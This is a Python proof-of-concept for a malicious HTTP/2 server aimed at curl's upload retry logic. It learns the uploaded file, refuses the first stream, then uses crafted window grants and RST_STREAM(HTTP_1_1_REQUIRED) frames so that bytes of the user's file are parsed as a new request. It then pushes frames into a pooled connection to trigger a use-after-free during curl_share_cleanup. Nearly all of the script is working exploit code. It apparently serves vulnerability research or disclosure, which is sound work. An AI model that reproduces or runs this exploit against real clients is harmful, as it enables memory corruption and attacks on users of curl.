
# single-URL LEARN-THEN-AIM (no -Z, no -L):  curl -T anyfile.txt https://h/x
# conn0 (h2): let the whole upload arrive (learn the body), then RST_STREAM(REFUSED_STREAM): curl rewinds and retries on a NEW h2 connection.
# conn1 (h2): we now know every byte. Request head length L is computed from the HEADERS; leftover start B_j = 131072 - L + 16384*j.
#             Pick the first j whose bytes parse as an HTTP/1 request head (grammar of lib/http1.c), grant exactly j*16384 of stream window,
#             wait for the stall, send HEADERS(:status 200) + RST_STREAM(HTTP_1_1_REQUIRED) -> curl resurrects a stream on conn1 from offset B_j,
#             conn1 goes idle into the shared pool; push the poke frames once conn2 has arrived.
# conn2 (h1 over TLS): curl's HTTP/1.1 re-issue; its TLS handshake is held (before_tls) until conn1 has pushed. curl then fails/finishes on its own,
#             frees the easy, and reads conn1 once more inside curl_share_cleanup -> UAF.
import os, re, time, threading
from hyperframe.frame import HeadersFrame, SettingsFrame, DataFrame, WindowUpdateFrame, GoAwayFrame, RstStreamFrame, PingFrame
NCONNS = 3
LEARNED = {}            # body bytes, L
RETRY2_ARRIVED = threading.Event(); POKED = threading.Event()

def before_tls(idx):
    if idx >= 2:
        RETRY2_ARRIVED.set(); POKED.wait(float(os.environ.get("F1_HOLD_MAX", "10"))); time.sleep(0.05)

def decoded(f):
    return [(n if isinstance(n, str) else n.decode("latin-1"), v if isinstance(v, str) else v.decode("latin-1")) for n, v in (f.decoded or [])]

def h1_head_len(hdrs):
    d = dict(hdrs); n = len("%s %s HTTP/2\r\n" % (d[':method'], d[':path'])) + len("Host: %s\r\n" % d[':authority'])
    for k, v in hdrs:
        if not k.startswith(':'): n += len(k) + 2 + len(v) + 2
    return n + 2

ABSURL = re.compile(rb'^[A-Za-z][A-Za-z0-9+.\-]{0,39}:')
def qualifies(body, off):
    """does curl's non-strict h1 request parser (http1.c) accept body[off:] as a complete request head? returns (ok, why)"""
    end = body.find(b"\n", off)
    if end < 0: return False, "no LF"
    line = body[off:end].rstrip(b"\r")
    if not line or line[:1] == b" ": return False, "line1 empty/starts with SP"
    p = line.find(b" ")
    if p <= 0: return False, "no SP"
    q = line.rfind(b" ")
    if q == p and True:
        # need target_len>=1 and hv_len>=1: last space must be > p and not at end
        return False, "only one SP"
    if q == len(line) - 1:
        # hv empty -> scan finds this last space: hv_len = 0 -> fail? (hv = after last space; hv_len = line_len - i = 1 incl? see start_req: hv_len = line_len - i where line[i]==' ' -> hv_len>=1 always; target_len = hv - target - 1)
        pass
    target = line[p+1:q]
    if len(target) == 0: return False, "empty target"
    if target[:1] != b"/" and target != b"*":
        if len(target) >= 8192: return False, "target too long"
        if ABSURL.match(target): return False, "target looks like scheme: (conservative reject)"
    # header lines until empty line
    pos = end + 1; nh = 0
    while True:
        e2 = body.find(b"\n", pos)
        if e2 < 0: return False, "no blank line before end"
        l2 = body[pos:e2].rstrip(b"\r")
        if l2 == b"": return True, "ok (%d header-ish lines)" % nh
        if b":" not in l2: return False, "line without ':' before blank"
        nh += 1; pos = e2 + 1
        if nh > 200: return False, "too many header lines"

def run(c, idx):
    return [conn0, conn1, conn2][min(idx, 2)](c)

def conn0(c):
    if not c.read_preface(): return
    c.settings({3: 100, 4: 1 << 24}); c.auto_wu = False
    c.window_update(0, (1 << 30))
    up = None; body = b""; hdrs = None
    deadline = time.time() + 120
    while time.time() < deadline and not c.closed:
        f = c.recv_frame(timeout=0.05)
        if f is None or isinstance(f, tuple): continue
        if isinstance(f, SettingsFrame) and 'ACK' not in f.flags: c.settings(ack=True)
        elif isinstance(f, HeadersFrame):
            hdrs = decoded(f); up = f.stream_id; c.log("conn0: upload stream %d, learning the whole body" % up)
        elif isinstance(f, DataFrame) and f.stream_id == up:
            body += bytes(f.data)
            if 'END_STREAM' in f.flags:
                L = h1_head_len(hdrs); LEARNED['body'] = body; LEARNED['L'] = L
                c.log("conn0: learned %d body bytes, request-head length L=%d -> RST_STREAM(REFUSED_STREAM); curl will retry on a fresh h2 connection" % (len(body), L))
                c.rst(up, 7)
                c.drain(3.0); return
    c.log("conn0: ended without END_STREAM (got %d)" % len(body))

def conn1(c):
    if not c.read_preface(): return
    c.settings({3: 100, 4: 65535}); c.auto_wu = False
    body = LEARNED.get('body', b""); L = LEARNED.get('L', 0)
    # choose j
    choice = None
    for j in range(0, 64):
        B = 131072 - L + 16384 * j
        if B + 2 >= len(body) - 16: break
        ok, why = qualifies(body, B)
        if ok:
            choice = (j, B, why); break
    if choice is None:
        c.log("conn1: NO qualifying grid offset in this %d-byte body (grid 131072-%d+16384j); answering normally, nothing happens" % (len(body), L))
        h = c.wait_headers()
        if h: 
            c.auto_wu = True; c.drain(2.0); c.resp(h.stream_id, 200, [("content-length","3")], b"ok\n")
        POKED.set(); c.drain(1.0); return
    j, B, why = choice
    line = body[B:body.find(b"\n", B)]
    c.log("conn1: AIM j=%d -> leftover will start at body offset %d: %r (%s)" % (j, B, line[:60], why))
    up = None; got = 0; t_last = time.time(); rst_sent = False; resurrected = None; poked = False; granted = 0
    deadline = time.time() + 90
    while time.time() < deadline and not c.closed:
        f = c.recv_frame(timeout=0.02)
        if f is not None and not isinstance(f, tuple):
            if isinstance(f, SettingsFrame) and 'ACK' not in f.flags: c.settings(ack=True)
            elif isinstance(f, PingFrame) and 'ACK' not in f.flags:
                p = PingFrame(0); p.flags.add('ACK'); p.opaque_data = f.opaque_data; c.send(p)
            elif isinstance(f, HeadersFrame):
                hd = dict(decoded(f)); m = hd.get(':method'); pth = hd.get(':path', '')
                if rst_sent and resurrected is None and f.stream_id != up:
                    resurrected = f.stream_id
                    c.log("*** RESURRECTED stream %d on conn1: :method=%r :path=%r  <- bytes of the user's file at offset %d" % (f.stream_id, m, pth[:60], B))
                elif up is None:
                    up = f.stream_id
                    for _ in range(j): c.window_update(up, 16384)
                    granted = 16384 * j
                    c.log("conn1: retry upload on stream %d; granted %d extra bytes of stream window (j=%d), then stalling" % (up, granted, j))
            elif isinstance(f, DataFrame):
                n = len(f.data) + (f.pad_length or 0)
                if n: c.window_update(0, n)
                if f.stream_id == up: got += n; t_last = time.time()
            elif isinstance(f, GoAwayFrame):
                c.log("conn1: client GOAWAY (exit-time pool shutdown read)")
        if up is not None and not rst_sent and got >= 65535 + granted and time.time() - t_last > 0.4:
            c.headers(up, [(":status", "200"), ("content-length", "3")]); c.rst(up, 13); rst_sent = True
            c.log("conn1: stalled at %d body bytes -> HEADERS(:status 200) + RST_STREAM(HTTP_1_1_REQUIRED)" % got)
        if resurrected and not poked and RETRY2_ARRIVED.is_set():
            kind = os.environ.get("F1_POKE", "headers")
            if kind == "wu": c.window_update(resurrected, 0)
            else:
                c.headers(resurrected, [(":status", "200"), ("content-length", "6")]); c.data(resurrected, b"PWNED\n")
            c.log("*** pushed %s for resurrected stream %d into idle pooled conn1" % (kind, resurrected))
            poked = True; POKED.set()
        if rst_sent and resurrected is None and RETRY2_ARRIVED.is_set() and not poked and time.time() - t_last > 1.0:
            c.log("conn1: no resurrected stream appeared (parse failed?)"); POKED.set(); poked = True
    c.drain(0.5)

def conn2(c):
    first = c._read(3, timeout=15)
    if not first: return
    c.buf = first + c.buf
    if first == b"PRI":
        c.log("conn2 is h2?!"); h = c.handshake(); c.drain(1); return
    head = c.recv_h1_head()
    if head is None: return
    c.log("conn2: HTTP/1.1 re-issue arrived; reading what comes, answering 200")
    c.s.settimeout(2.0)
    try:
        while c.s.recv(65536): pass
    except Exception: pass
    c.send_raw(b"HTTP/1.1 200 OK\r\nContent-Length: 8\r\nConnection: close\r\n\r\nretried\n")
    time.sleep(1.0)
